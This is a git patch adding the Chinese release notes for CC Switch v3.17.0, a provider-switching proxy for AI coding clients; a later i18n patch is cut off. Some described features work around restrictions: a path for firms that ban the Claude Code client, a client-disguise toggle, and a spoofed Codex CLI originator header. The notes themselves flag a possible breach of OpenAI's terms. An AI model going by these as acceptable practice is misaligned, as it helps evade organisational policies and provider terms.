Skills 和写着工程约定的记忆文件;写作或绘图时往往换另一家供应商、另一组 MCP 和完全不同的提示词。以前在两件事之间来回,意味着切供应商、逐个开关 MCP 和 Skills、再改记忆文件;现在把两套状态分别存成「开发」和「绘图」两个项目,换目录干活时在 CC Switch 里点一下,整套配置随之就位。 + +项目功能覆盖 Claude Code、Claude Desktop 与 Codex 三个作用域(Claude Desktop 由 CC Switch 管理的维度只有供应商,因此其快照只含供应商、应用时不动其它维度)。 + +几个值得了解的设计: + +- **项目是全局实体、按作用域切换**:同一个项目在 Claude Code / Claude Desktop / Codex 三侧各自记录自己的当前项目与快照槽位,在 Codex 页签切换项目绝不会动到 Claude 的配置。 +- **切换即自动保存**:切换项目前,会先把你正要离开的项目在当前作用域下的状态自动存回去——所以项目里保存的永远是你上次离开它时的样子,不需要(也没有)手动「更新快照」按钮。 +- **应用是尽力而为的**:套用快照复用现有的切换原语(先切供应商,再做 MCP / Skills 的最小差异开关,最后启用记忆文件);快照里引用的某项如果已被删除,只会告警跳过,不会整体回滚。 +- **自动关闭代理接管**:套用项目前会先关闭该作用域内各应用的代理接管,避免快照状态和路由状态打架。 + +不用项目功能的用户可以在「设置 → 主页显示」里关闭「显示项目切换」,只隐藏主页入口,托盘子菜单与项目数据不受影响。底层由新的 `profiles` 表支撑(数据库自动迁移,无需手动操作),四语界面文案同步就位。 + +### Codex 官方 ChatGPT 账号的代理路由接管 + +用 ChatGPT 订阅(OAuth 或 API-key 登录)的 Codex 会话,现在也可以走 CC Switch 的本地代理路由了——官方账号流量获得与第三方供应商一致的路由、格式转换与用量统计。在供应商面板或托盘里选择内置的「OpenAI Official」条目进行接管即可(如果你此前删掉过它,添加供应商时会自动恢复);路由中的卡片徽标显示「官方账号路由中」。 + +实现上刻意做到**零凭据存储**:不向 `auth.json` 写任何占位密钥,而是往 `config.toml` 投影一个指向本地代理的专用 `model_provider`,Codex 把自己的 ChatGPT 授权头原样发给代理、代理原样透传给官方端点——`codex-official` 这一行的凭据永远是空的。官方登录本身绝不被覆盖:接管时 OAuth / API-key 材料会保留进备份;官方端返回的 401 / 403 被视为不可重试错误,failover 绝不会把你的对话悄悄挪到另一个账号上。相应地,「切换时保留 Codex 官方登录」这个设置项的文案已更新——路由接管场景下官方登录总是被保留,该开关现在只管不走路由的第三方直切。 + +### GPT-5.6:上下文窗口、预设默认与三档定价 + +围绕 GPT-5.6 家族做了三件事: + +- **372K 上下文窗口注入**:Claude Code 经代理接管路由到 ChatGPT Codex(Codex OAuth)后端时,自动往生效的 `settings.json` 注入 `CLAUDE_CODE_MAX_CONTEXT_TOKENS` 与 `CLAUDE_CODE_AUTO_COMPACT_WINDOW`(均为 372000),让 Claude Code 不再按默认 200K 窗口过早自动压缩、也不再撑爆上游。注入门控严格:只有当所有已配置的模型键都指向 gpt-5.6 家族时才注入(gpt-5.5 的目录窗口在 272K / 372K 间摇摆,故意不继承);你手动设置的值永远优先;切走时按镜像条件剥离,程序默认永远不会固化进你的供应商配置。 +- **预设默认模型升级**:Claude Code 与 Claude Desktop 的 Codex OAuth 预设默认路由升级到 gpt-5.6 家族(haiku → `gpt-5.6-luna`,主模型 / sonnet / opus → `gpt-5.6`),自定义 Codex `config.toml` 模板的默认模型同步跟进。 +- **Sol / Terra / Luna 三档定价**:用量看板按官方价目为三档入库——Sol 5 / 30 / 0.50、Terra 2.50 / 15 / 0.25、Luna 1 / 6 / 0.10(美元每百万 token,输入 / 输出 / 缓存读)。与 5.5 及更早版本不同,5.6 家族的**提示缓存写入按 1.25 倍输入价计费**(Sol 6.25 / Terra 3.125 / Luna 1.25),已按此入库并自动修复此前按 0 计的存量行;裸 `gpt-5.6` 及各 effort 后缀变体按 Sol 价对齐。 + +### 在 Codex 里使用 Claude 系列模型:原生 Anthropic Messages 上游 + +这个功能来自一个很现实的诉求:**不少企业出于合规策略禁用了 Claude Code 客户端,但并没有禁用 Claude API**。对这些用户来说,模型本身是可用的,缺的只是一个被允许的客户端——现在 Codex 可以补上这个位置。在 Codex 供应商的上游格式选择器里选新增的 `anthropic`,即可直连 Claude API 或任何只提供原生 Anthropic Messages 协议(`/v1/messages`)的网关,本地代理完成 Responses↔Anthropic 的请求、响应与流式双向转换,你在 Codex 里照常对话、照常用工具,背后跑的是 Claude 系列模型。表单配套提供:认证字段选择器(`ANTHROPIC_AUTH_TOKEN` 发 `Authorization: Bearer`,默认;或 `ANTHROPIC_API_KEY` 发 `x-api-key`)、可选的 Claude Code 客户端伪装开关(默认关闭)、以及按供应商的最大输出 token 覆盖(Codex 不发 `model_max_output_tokens`,不设置时回退到保守的 8192,可能截断长回复或重思考回复)。转换桥自动注入标准 5 分钟提示缓存标记(系统提示、工具与历史走缓存而非每轮全价重发),支持 `[1m]` 长上下文标记并补发对应 beta 头,截断的流会如实上报为未完成而不是伪装成功。([#5071](https://github.com/farion1231/cc-switch/pull/5071)) + +### Codex 供应商表单新增「默认模型」输入框 + +`config.toml` 顶层的 `model` 键现在是表单里的一个可编辑字段:新模型(如 `gpt-5.6`)发布后,你可以直接把现有供应商指过去,不必等预设更新(预设只影响新添加的供应商)。字段与 TOML 编辑器双向同步,候选列表来自模型映射目录与供应商 `/models` 端点的并集,值不在目录里时提供一键「加入映射」。显式填写的值永远优先于映射第一行的隐式回填;模型名与 `base_url` 写入时做了 TOML 转义,杜绝 `/models` 返回的远端数据注入伪造配置行的可能。 + +### 通用配置切换自动同步扩展到 Codex + +v3.16.5 给 Claude 加的「切走时自动把 live 配置里的共享偏好回写到通用配置」现在覆盖 Codex 了:切走一个启用了通用配置的 Codex 供应商时,会先从它的 live `config.toml` 重新提取可共享部分更新到通用配置,再带给下一个供应商——你直接在运行中的 Codex 配置里改的偏好不再在切换时丢失,删掉的键也不会被悄悄注回。提取器会严格剥离供应商专属与注入内容(`model` / `model_provider` / `base_url` / `wire_api`、整个 `[model_providers]` 表、MCP 投影、API key 兜底字段、模型目录指针与注入的 `web_search` 哨兵),密钥永远不会进入共享片段。所有失败仅告警、绝不阻断切换。 + +### Claude 子代理模型配置 + +Claude 供应商表单新增「子代理」模型行,写入 `CLAUDE_CODE_SUBAGENT_MODEL`,让 Claude Code 派生的子代理跑在你指定的(通常更便宜或更快的)模型上。支持 `[1M]` 标记;由于子代理模型不会出现在 `/model` 菜单里,该行显示「不在 /model 中展示」占位而没有显示名字段。代理接管路径与模型映射器已同步支持:请求模型与配置的子代理模型一致时原样放行,不再被折叠到默认模型;该键也被排除在共享通用配置之外,不会跨供应商泄漏。([#4830](https://github.com/farion1231/cc-switch/pull/4830)) + +### 回退模型字段的 1M 上下文复选框 + +Claude 表单的回退模型字段(`ANTHROPIC_MODEL`)现在带上了 Sonnet / Opus / Fable 各档早已有的 1M 复选框:回退模型背后是 1M 窗口时可以如实声明,不再被静默当作 200K。勾选即在模型 id 后追加 `[1M]` 标记,取消即剥离。([#5124](https://github.com/farion1231/cc-switch/pull/5124),修复 #3679) + +### 智谱团队套餐配额查询 + +智谱的团队套餐(团队版 Coding Plan)走同一个配额端点但需要 `?type=2` 与两个额外请求头(`bigmodel-organization` / `bigmodel-project`),个人版查询够不到。用量脚本弹窗新增「Zhipu GLM Team(智谱团队)」模板,填入 API Key + 组织 ID + 项目 ID 即可查询团队配额;三项缺一会明确提示补全。四语文案同步。([#5128](https://github.com/farion1231/cc-switch/pull/5128)) + +### OpenCode 表单:请求头与模型 Token 上限编辑器 + +OpenCode 供应商表单补上了两块此前只能手改 JSON 的配置:**Headers 编辑器**(供应商级 `options.headers`,如 OpenRouter 排行榜要求的 `HTTP-Referer` / `X-Title`,支持增删行、大小写不敏感去重)与**按模型 Token 上限**(`model.limit.context` / `model.limit.output` 数字输入,清空即移除)。「额外选项」块改为可折叠区,已有内容时自动展开;顺带修复了旧占位符过滤会误删真实以 `option-` 开头的选项键的问题。([#2907](https://github.com/farion1231/cc-switch/pull/2907)) + +### 新增模型定价:腾讯混元 Hy3 + +为 2026-07-06 发布的腾讯混元 Hy3(256K 上下文)入库定价(按发布日牌价 CNY 1 / 4 / 0.25 每百万 token 折算),`hunyuan-hy3` 与 `hy3` 两个 id 都能命中,其用量不再显示 $0。注意 Hy3 实际是按输入长度分档计费,当前单价表按最低档入库,长上下文请求会低估成本,待官方计费页明确后再修正。 + +--- + +## 变更 + +### Codex Chat 路由注入 prompt_cache_key,提升缓存命中 + +Codex 经本地路由转换到 Chat Completions 上游时,现在会按供应商感知地注入 `prompt_cache_key`:Kimi Coding 与 OpenAI 官方端点自动启用、Kimi 预设显式开启,未知的 OpenAI 兼容网关保持关闭以避免严格 schema 网关报 400。键值只取显式客户端值或真实的客户端会话 ID,绝不生成随机 UUID(那会让每个请求落到不同缓存桶、适得其反)。高级选项里提供自动 / 启用 / 禁用三态覆盖。 + +### Codex 图片能力自动推断,去掉手动开关 + +生成的 Codex 模型目录现在只把 CC Switch 确认过的**精确文本-only 名录**内的模型声明为 `input_modalities = ["text"]`;GPT、别名、新后缀变体和一切未知模型一律 fail-open 到 `["text", "image"]`——修复了 GPT 系模型在 Codex IDE 扩展里被误报「不支持图片」的问题。整流器的「纯文本模型预检」开关继续只管代理侧的主动请求改写,不影响目录声明;目录反向导入也会把可推断的能力坍缩掉,未来名录修正或模型升级多模态时自动生效。 + +### 上下文窗口参数钉进预设,不再作为表单字段 + +`Codex`(ChatGPT / GPT-5.6)与 `Kimi For Coding` 预设不再在表单里展示「最大上下文 Tokens」「自动压缩窗口」两个输入框,数值直接钉死在预设 env 里(Codex 372000 / 372000,Kimi For Coding 262144 / 262144)——绝大多数用户从不需要碰这两个数字。两个键刻意保留在 env 里:显式钉住能让本地压缩触发点免疫远端实验性配置的下调。极少数想改数字的用户仍可在供应商的 JSON 编辑器里直接编辑这两个键。 + +### 供应商连通性配置简化 + +移除了过时的按供应商 `testConfig` 覆盖(超时、重试次数、降级延迟阈值):轻量的 `base_url` 探测现在始终使用全局连通性检查配置,自动 failover 仍完全由代理超时与熔断器的独立设置驱动。设置界面与接口命名也从「模型测试」术语统一迁移到「连通性检查」。 + +### 通用(多应用)供应商添加后自动同步 + +通过「添加供应商」弹窗添加通用(多应用)供应商后,现在会立即推送到各 live 目标配置,不再需要手动再点一次同步。同步失败不阻塞添加——供应商已保存但同步失败时给出非阻断的警告提示。([#2811](https://github.com/farion1231/cc-switch/pull/2811)) + +### 预设更新 + +- **LongCat-2.0**:美团 LongCat 预设全线(Claude Code / Claude Desktop / Codex / Hermes / OpenClaw / OpenCode)从已退役的 `LongCat-Flash-Chat` / `LongCat-2.0-Preview` 升级到 `LongCat-2.0`,声明真实的 1M(1048576)上下文窗口。LongCat-2.0 是纯文本模型,代理的媒体清洗白名单已同步收录——粘贴进会话的图片会被替换为不支持标记而不是被上游硬拒。([#4838](https://github.com/farion1231/cc-switch/pull/4838)) +- **SudoCode**:原 `sudocode.us` 预设原位替换为 `sudocode.chat` 的新赞助商 SudoCode,覆盖六个客户端(Claude 系直连 Anthropic 透传,Codex / OpenCode / OpenClaw / Hermes 默认 `gpt-5.6-sol`)。 +- **火山 / 豆包 / BytePlus 官网链接**:撤销了 v3.16.5 把这三个预设 `websiteUrl` 改为产品主页的改动,恢复为带归因参数的活动 / 邀请链接(这是有意为之的设计)。 +- **Code0.ai**:邀请链接更新为新的 agent 注册链接;API 端点不变。 +- **删除重复的 OpenAI Compatible 预设**:OpenCode 与 OpenClaw 预设列表里的 `OpenAI Compatible` 自定义模板条目被移除——内置的 `custom` 供应商流程本就提供相同的起点,选择器里不再出现两个指向同一处的入口。存量供应商不受影响。 + +--- + +## 修复 + +### Codex OAuth 客户端身份对齐:修复最新 ChatGPT 模型 404 + +用官方 Codex OAuth 账号经本地代理接管路由时,最新的订阅模型(如 `gpt-5.6-luna`)此前会返回误导性的 `404 Model not found`——明明账号有权限。根因是 ChatGPT 的 Codex 后端按 `originator` + `version` 头做模型分组路由,而 cc-switch 此前自报 `originator: cc-switch` 且不带版本号,被路由到一个 luna 尚未部署的分组。现在接管请求发送与真实 Codex CLI 一致的 `originator: codex_cli_rs` + `version: 0.144.1`,满足 luna 的最低客户端版本要求,经真实后端 A/B 实测确认修复。 + +### Responses 上游失败不再变成空回复 + +代理把 Anthropic 格式客户端(Claude Code / Claude Desktop)桥接到 OpenAI Responses 上游时,上游藏在 HTTP 2xx 体里的语义失败(`status:"failed"` 对象、`error` 信封、首个输出前的 `response.failed` SSE 事件)此前会被转换成一个悄无声息的空回合。现在这些失败在重试循环内就被识别为真实错误,failover 能够换一个供应商重试;干净结束但内容不完整的流会如实标记为截断而非完成;无视 `stream:true` 直接返回整个 JSON 文档的网关也能被识别并展开为完整的流式生命周期;客户端历史本身格式错误时立即报错,不再拿着必败的请求把每个供应商都重试一遍。 + +### 跨 Responses/Anthropic 桥保留推理、工具结果与 system 角色 + +多轮工具循环里跨 Responses↔Anthropic 桥的内容不再丢失或损坏:加密的推理(reasoning)条目无损往返(往返失败会导致下一轮请求被上游拒绝的问题同步消除);流式转换器支持官方的推理事件词汇表并在网关跳过增量时从终结事件恢复工具参数;结构化工具结果的 `is_error` 标志、图片与 PDF 文档在两个方向都完整保留,不再被压平成一个 JSON 字符串;历史里的 `system` / `developer` 消息被正确提升为 Anthropic `system`,不再被静默降级成用户发言。计费上,上游请求成功但后续转换失败时用量照记,不再漏账。 + +### 缓存写入 token 不再双重计费 + +Codex / Gemini 类供应商上报的 `input_tokens` 同时包含缓存读与缓存写,而成本计算此前只减掉了缓存读——缓存写入 token 被按输入价和缓存创建价**计了两次费**。现在两者都会先行扣除,并且缓存写入数字在跨格式转换(Chat↔Responses↔Anthropic)时不再丢失。为了让历史数据口径不乱,数据库新增一列记录每行 `input_tokens` 的存储语义(schema v12→v13 自动迁移):旧行按旧口径回算、新行按新口径,Claude 类行不受影响。 + +### 更强的提示缓存断点注入 + +在注入 Anthropic `cache_control` 断点的代理路径上(Codex 接管桥与 Bedrock 原生优化器),注入器现在会更充分地使用四个断点预算:除了工具尾、系统尾与最新可缓存消息外,预算有余时再给较早的用户消息加一个锚点,让稳定前缀保持在 Anthropic 20 块回看窗口内——长的、工具密集的对话能持续命中提示缓存,而不是每轮把系统提示、工具与历史全价重发。调用方自带的断点被原样保留(绝不删除、重排或改写);注入的标记一律使用标准 5 分钟 TTL。 + +### Kimi For Coding 的 256K 上下文窗口真正生效 + +Kimi For Coding 预设在 3.16.4 加的 `CLAUDE_CODE_AUTO_COMPACT_WINDOW=262144` 其实**从未生效**:Claude Code 对不认识的模型 id 按 200K 窗口封顶,且压缩窗口取 `min(模型窗口, 设定值)`,262144 被钳回 200K。本版补齐了缺失的两环——预设同时钉上 `CLAUDE_CODE_MAX_CONTEXT_TOKENS`,并把各档模型显式路由到端点的 `kimi-for-coding` 别名(`claude-` 前缀 id 会让 Claude Code 无视这两个窗口参数,非 Claude 别名才是解锁大窗口的关键)。已保存的供应商在切换时也会自动注入这两个窗口默认值,但**别名路由只存在于预设里**——旧预设存下来的供应商实际仍是 200K,需要重新套用一次预设(见「升级提醒」)。 + +### 删除的 Codex MCP 服务器不再复活 + +MCP 服务器的权威数据在数据库里,Codex live `config.toml` 中的 `[mcp_servers]` 只是每次写入后重新同步的投影——但切走供应商时这份投影会被固化进供应商快照,导致你在应用里删掉的服务器在下次激活该供应商时死而复生,且逐条对账永远清不掉这个孤儿。现在切走时会把 `[mcp_servers]`(含旧式 `[mcp.servers]`)从存储快照中剥离,已被污染的快照在下次切走时自愈。一个可见的副作用:手写在 Codex 供应商配置里的 `[mcp_servers.*]` 段会在首次切走时被剥出快照——今后请通过 MCP 管理器定义 Codex 的 MCP 服务器(见「升级提醒」)。 + +### MCP 同步更健壮:解析失败不清空文件、按应用报错 + +两处修复。其一,向 Codex 写入单个 MCP 服务器时,如果现有 `config.toml` 解析失败,旧逻辑会退到空文档再整体写回——**整个文件被清空**、只剩那一个 MCP 条目;现在直接返回校验错误并保持文件原样。其二,「从应用导入」此前把每个导入器的错误吞成 0,坏掉的 Codex 配置只会显示「导入了 0 个服务器」;现在逐应用尽力导入、失败时报出具体是哪个应用出了问题。切换与保存时的投影也改为只针对目标应用,一个应用的 live 文件解析失败不再连坐阻塞其它应用、也不再把已经成功的切换误报为失败。 + +### Codex 通用配置合并保留注释与键序 + +Codex 供应商表单里勾选 / 取消「应用通用配置」此前走前端 TOML 实现整篇重排(解析 → 合并 → 序列化):注释被丢弃、键被重排、还会凭空多出 `[model_providers]` 这类空表头——就是「config.toml 老被重排」的元凶。现在合并走后端命令、与写 live 配置共用同一套合并语义,手写格式在编辑期合并中完整幸存;针对异步化引入的快速切换竞态也加了双重守卫(操作序号 + 配置基线核对),先发后至的旧结果不会覆盖新状态。 + +### 受管 Claude 接管只注入单个 auth 占位符 + +从第三方端点切到 Codex 受管供应商时,`~/.claude/settings.json` 里会同时写入 `ANTHROPIC_API_KEY` 和 `ANTHROPIC_AUTH_TOKEN` 两个占位符,导致 Claude Code 每次启动都警告「Both ANTHROPIC_AUTH_TOKEN and ANTHROPIC_API_KEY set」。现在只注入一个:Codex 受管走 `ANTHROPIC_AUTH_TOKEN`、Copilot 走 `ANTHROPIC_API_KEY`,其余 token 键一律清除。注意:升级后如果 live 配置已带着双键,由于「配置未变则跳过重写」的短路逻辑,警告可能仍在——把 Claude 路由开关关再开一次(或切换一次供应商)即可触发重写(见「升级提醒」)。([#5095](https://github.com/farion1231/cc-switch/pull/5095),修复 #4919) + +### 用量与配额查询:瞬时失败可自动重试、不再毒化缓存 + +用量与配额查询频繁出现手动刷新也清不掉的「查询失败」,根因是所有传输层失败(包括读响应体中途超时)都被折叠成了「成功但结果为失败」——前端的自动重试从不触发,失败体还被当作真实数据缓存。现在传输失败如实返回错误:react-query 自动重试生效,HTTP 429 与 5xx 一样按瞬时失败处理,保留的上次成功数据按 10 分钟窗口正常过期,失败状态下页脚保留重试入口与真实错误信息。(修复 [#3820](https://github.com/farion1231/cc-switch/issues/3820)) + +### Codex 子代理会话用量计入本地统计 + +Codex 子代理(spawned agent)会话的 token 用量此前完全没进本地统计:子代理日志里携带的是父线程的 `session_id`,多个子代理的记录互相碰撞、被当作重复丢弃。现在解析器按每个文件自己的 `thread_id` 建立唯一身份,并识别子代理日志开头对父线程历史的重放、只用它恢复累计基线而不重复计费;归档日志也按文件名继承同步游标,重新解析只导入新增部分。([#5187](https://github.com/farion1231/cc-switch/pull/5187)) + +### Codex 免费版 30 天配额窗口正常显示 + +Codex 免费账号按 30 天滚动窗口计量(而非付费版的周窗口),但前端白名单和托盘分组都不认识 `30_day` 这个档位——免费账号唯一的档位被过滤掉后,配额页脚整个空白、托盘也不显示任何配额。现在 30 天档位在页脚和托盘都正常渲染,四语标签同步。([#4886](https://github.com/farion1231/cc-switch/pull/4886),修复 #3651) + +### 用量看板刷新间隔持久化 + +用量看板的自动刷新间隔此前是组件内状态,每次重启都重置回 30 秒。现在通过新的应用设置持久化,改动乐观生效、保存失败自动回滚。([#5057](https://github.com/farion1231/cc-switch/pull/5057)) + +### Fable 档模型键不再泄漏进通用配置 + +Fable 是 v3.16.3 加入的第四个 Claude 模型映射档,但它的 `ANTHROPIC_DEFAULT_FABLE_MODEL(_NAME)` 两个键漏在了供应商专属排除名单之外——某个供应商的 Fable 模型钉选可能泄漏进共享通用配置、再被注入到其它供应商。现已与 haiku / sonnet / opus 三档一样剥离,并顺带补全了 Fable 档的代理接管支持(接管时写入稳定的角色别名、切走时清理陈旧值)。([#5206](https://github.com/farion1231/cc-switch/pull/5206),修复 #4272) + +### 工具 schema 缺省 type 兜底与无分类供应商的 API Key 输入框 + +两个供应商侧修复:客户端发来的工具如果 `input_schema` 缺顶层 `type`(或干脆是空 `{}`),代理转换后会被严格网关拒绝,现在根 schema 自动补 `type: "object"`(只补根、不动嵌套子 schema);历史导入或手工构建的无分类供应商在编辑时看不到 Claude API Key 输入框的问题也已修复——现在只要不是官方 / 云厂商类供应商就显示该字段。([#5069](https://github.com/farion1231/cc-switch/pull/5069)) + +### GLM 5.2 纯文本模型的图片请求兜底 + +本地代理接管火山 Coding Plan 跑 GLM 5.2 时,请求里的图片块不再产生一个无法恢复的 400:文本-only 名录精确收录 `glm-5.2`(刻意不用前缀匹配,未来的多模态 `glm-5.2v` 不受牵连),预防路径在请求到达前剥离图片;网关那句不含 image 字样的报错(`Model only support text input`)也被反应路径的自证短语名录识别,触发媒体兜底。(修复 [#5025](https://github.com/farion1231/cc-switch/issues/5025)) + +### 会话与 live 配置同步小修一组 + +- **显示重命名的 Codex 会话标题**:在 Codex 里重命名过的会话,会话管理器现在显示新标题而不是回退到首条消息文本;并发写入时的读取也不再立即失败。([#4927](https://github.com/farion1231/cc-switch/pull/4927)) +- **OpenCode / OpenClaw / Hermes 的 live 编辑在启动时同步入库**:直接改 live 配置文件(换 base URL、加模型)此前在首次导入后就再也不会被拾取;现在每次启动时对比 live 与库存,差异即更新,全程非致命。([#4712](https://github.com/farion1231/cc-switch/pull/4712)、[#5098](https://github.com/farion1231/cc-switch/pull/5098)) +- **OpenCode 会话恢复命令更新**:会话管理器展示与复制的恢复命令从过时的 `opencode session resume ` 更正为当前 CLI 的 `opencode -s `。([#2359](https://github.com/farion1231/cc-switch/pull/2359)) +- **官方供应商跳过连通性探测**:连通性检查不再对官方类供应商推导出一个无凭据必失败的第一方端点探测(例如裸打 `chatgpt.com/backend-api/codex`),批量检查直接跳过、单独解析明确报错。 + +--- + +## 文档 + +### Codex + Kimi 本地路由攻略 + +新增分步攻略(中 / 英 / 日三语,含界面截图),讲解如何借助 CC Switch 的本地路由在 Codex CLI 里使用 Kimi:较新的 Codex CLI 走 OpenAI Responses 协议,而 Kimi 开放平台(按量付费,`kimi-k2.7-code`)与 Kimi For Coding(会员制,`kimi-for-coding`)暴露的都是 Chat Completions 端点,直连通常在 `/responses` 上 404。攻略覆盖从内置预设添加供应商到四步协议转换链的完整流程。 + +### README 赞助商更新 + +开源 AI 基建项目 `new-api` 加入四语 README 的赞助商表。 + +--- + +## 升级提醒 + +### Kimi For Coding 供应商需重新套用预设 + +如果你在用 Kimi For Coding 预设创建的供应商,请**重新从预设选择一次并保存**:256K 窗口的关键——把各档模型路由到 `kimi-for-coding` 别名——只存在于新版预设里,旧预设存下来的供应商即使升级后实际仍按 200K 窗口过早压缩。 + +### 手写的 Codex `[mcp_servers.*]` 会被剥出快照 + +为了根治「删掉的 MCP 服务器复活」,切走 Codex 供应商时会把 `[mcp_servers]` 段从存储快照中剥离。如果你有直接手写在某个 Codex 供应商配置里的 MCP 服务器,它会在首次切走该供应商时从快照消失——请改用 MCP 管理器(MCP 页签)定义 Codex 的 MCP 服务器,那里的条目才是权威数据、会被自动投影到 live 配置。 + +### 双 auth 键警告可能需要手动触发一次重写 + +如果升级后 Claude Code 仍提示「Both ANTHROPIC_AUTH_TOKEN and ANTHROPIC_API_KEY set」,这是因为 live 配置未变时接管逻辑会短路跳过重写。把 Claude 的路由开关关掉再打开一次(或切换一次供应商)即可写入修正后的单占位符配置,警告随之消失。 + +### 数据库自动迁移 + +首次启动 v3.17.0 时数据库会自动从 schema v11 迁移到 v13(新增项目表与用量语义列),无需任何手动操作。如果你有回退到旧版本的习惯,建议先备份 `~/.cc-switch/cc-switch.db`。 + +--- + +## 风险提示 + +本版本继续沿用此前版本对反向代理类功能的风险提示。 + +**Codex OAuth 反向代理**:使用 ChatGPT 订阅的 Codex OAuth 反代可能违反 OpenAI 服务条款,详情见 [v3.13.0 release notes](v3.13.0-zh.md#️-风险提示)。本版新增的「官方 ChatGPT 账号代理路由接管」同样属于此类用法,请知悉相同的风险。 + +**Codex 第三方供应商 Chat 路由**:通过 CC Switch 本地代理把 Codex 请求转换并转发到第三方供应商时,各供应商对计费、合规与数据留存的约束不同,请在使用前阅读目标供应商的服务条款。 + +**Claude Desktop 第三方供应商代理切换**:通过 CC Switch 内置代理网关把 Claude Desktop 的请求转到第三方供应商时,同样需要遵守目标供应商的计费、合规与数据留存约束。 + +用户启用上述功能即表示自行承担相关风险。CC Switch 不对因使用这些功能而导致的任何账号限制、警告或服务暂停承担责任。 + +--- + +## 致谢 + +感谢以下贡献者在 v3.17.0 中提交的功能与修复: + +- [#5071](https://github.com/farion1231/cc-switch/pull/5071):新增原生 Anthropic Messages 协议作为 Codex 上游,感谢 @yeeyzy。 +- [#4830](https://github.com/farion1231/cc-switch/pull/4830):新增 Claude 子代理模型配置,感谢 @AkimioJR。 +- [#5124](https://github.com/farion1231/cc-switch/pull/5124):给回退模型字段加上 1M 复选框,感谢 @salarkhannn。 +- [#5128](https://github.com/farion1231/cc-switch/pull/5128):新增智谱团队套餐配额查询,感谢 @zhanxin-xu。 +- [#2907](https://github.com/farion1231/cc-switch/pull/2907):OpenCode 表单新增请求头与 Token 上限编辑器,感谢 @git1677967754。 +- [#2811](https://github.com/farion1231/cc-switch/pull/2811):通用供应商添加后自动同步,感谢 @hubutui。 +- [#4838](https://github.com/farion1231/cc-switch/pull/4838):LongCat 预设升级到 LongCat-2.0,感谢 @solthx。 +- [#5095](https://github.com/farion1231/cc-switch/pull/5095):受管 Claude 接管只注入单个 auth 占位符,感谢 @fengshao1227。 +- [#5187](https://github.com/farion1231/cc-switch/pull/5187):Codex 子代理会话用量计入统计,感谢 @starmiaoa。 +- [#4886](https://github.com/farion1231/cc-switch/pull/4886):修复 Codex 免费版 30 天配额窗口不显示,感谢 @SaladDay。 +- [#5057](https://github.com/farion1231/cc-switch/pull/5057)、[#4927](https://github.com/farion1231/cc-switch/pull/4927)、[#2359](https://github.com/farion1231/cc-switch/pull/2359):刷新间隔持久化、重命名会话标题显示与 OpenCode 恢复命令修正,感谢 @makoMakoGo。 +- [#5206](https://github.com/farion1231/cc-switch/pull/5206):Fable 模型键排除出通用配置,感谢 @fzh365。 +- [#5069](https://github.com/farion1231/cc-switch/pull/5069):工具 schema 缺省 type 兜底与 API Key 输入框恢复,感谢 @Komikawayi。 +- [#4712](https://github.com/farion1231/cc-switch/pull/4712)、[#5098](https://github.com/farion1231/cc-switch/pull/5098):OpenCode / OpenClaw / Hermes live 配置启动同步,感谢 @allenxu09。 + +也感谢所有反馈 Codex 官方路由、缓存计费、MCP 同步与配额查询问题的用户——本版相当一部分修复来自这些真实使用场景里的复现线索。 + +--- + +## 下载与安装 + +访问 [Releases](https://github.com/farion1231/cc-switch/releases/latest) 下载对应版本。 + +### 系统要求 + +| 系统 | 最低版本 | 架构 | +| ------- | -------------------------- | ----------------------------------- | +| Windows | Windows 10 及以上 | x64 / ARM64 | +| macOS | macOS 12 (Monterey) 及以上 | Intel (x64) / Apple Silicon (arm64) | +| Linux | 见下表 | x64 / ARM64 | + +### Windows + +| 文件 | 说明 | +| ---------------------------------------- | ----------------------------------- | +| `CC-Switch-v3.17.0-Windows.msi` | **推荐** - MSI 安装包,支持自动更新 | +| `CC-Switch-v3.17.0-Windows-Portable.zip` | 便携版,解压即用,不写入注册表 | + +Windows ARM64 设备请选择文件名中带 `arm64` 标识的对应制品。 + +### macOS + +| 文件 | 说明 | +| -------------------------------- | --------------------------------------------- | +| `CC-Switch-v3.17.0-macOS.dmg` | **推荐** - DMG 安装包,拖入 Applications 即可 | +| `CC-Switch-v3.17.0-macOS.zip` | 解压后拖入 Applications,Universal Binary | +| `CC-Switch-v3.17.0-macOS.tar.gz` | 用于 Homebrew 安装和自动更新 | + +Homebrew 安装: + +```bash +brew install --cask cc-switch +``` + +更新: + +```bash +brew upgrade --cask cc-switch +``` + +### Linux + +Linux 资产同时提供 **x86_64** 和 **ARM64**(`aarch64`)两种架构。资产文件名中包含架构标识,请按你机器的 `uname -m` 输出选择对应版本: + +- `CC-Switch-v3.17.0-Linux-x86_64.AppImage` / `.deb` / `.rpm` +- `CC-Switch-v3.17.0-Linux-arm64.AppImage` / `.deb` / `.rpm` + +| 发行版 | 推荐格式 | 安装方式 | +| --------------------------------------- | ----------- | ---------------------------------------------------------------------- | +| Ubuntu / Debian / Linux Mint / Pop!\_OS | `.deb` | `sudo dpkg -i CC-Switch-*.deb` 或 `sudo apt install ./CC-Switch-*.deb` | +| Fedora / RHEL / CentOS / Rocky Linux | `.rpm` | `sudo rpm -i CC-Switch-*.rpm` 或 `sudo dnf install ./CC-Switch-*.rpm` | +| openSUSE | `.rpm` | `sudo zypper install ./CC-Switch-*.rpm` | +| Arch Linux / Manjaro | `.AppImage` | 添加执行权限后直接运行,或使用 AUR | +| 其他发行版 / 不确定 | `.AppImage` | `chmod +x CC-Switch-*.AppImage && ./CC-Switch-*.AppImage` | From 7e73a1ffb2d89c56543dd981b63b64aabb2035a4 Mon Sep 17 00:00:00 2001 From: Jason Date: Tue, 14 Jul 2026 11:53:39 +0800 Subject: [PATCH 72/73] fix(i18n): add missing proxyReasonAnthropicMessages key across locales The routing-required toast for Anthropic-format Codex providers only had a Chinese defaultValue in code; non-Chinese locales showed a mixed-language message. Add the reason string to zh/en/ja/zh-TW following the phrasing of the sibling proxyReason* keys. --- src/i18n/locales/en.json | 1 + src/i18n/locales/ja.json | 1 + src/i18n/locales/zh-TW.json | 1 + src/i18n/locales/zh.json | 1 + 4 files changed, 4 insertions(+) diff --git a/src/i18n/locales/en.json b/src/i18n/locales/en.json index 4dd0b9a6d..2924ee842 100644 --- a/src/i18n/locales/en.json +++ b/src/i18n/locales/en.json @@ -256,6 +256,7 @@ "proxyReasonCopilot": "uses GitHub Copilot as a Claude provider", "proxyReasonOpenAIChat": "uses OpenAI Chat API format", "proxyReasonOpenAIResponses": "uses OpenAI Responses API format", + "proxyReasonAnthropicMessages": "uses Anthropic Messages API format", "proxyReasonFullUrl": "has full URL connection mode enabled", "openAIFormatHint": "This provider uses OpenAI-compatible format and requires the routing service to be enabled", "copilotProxyHint": "GitHub Copilot as a 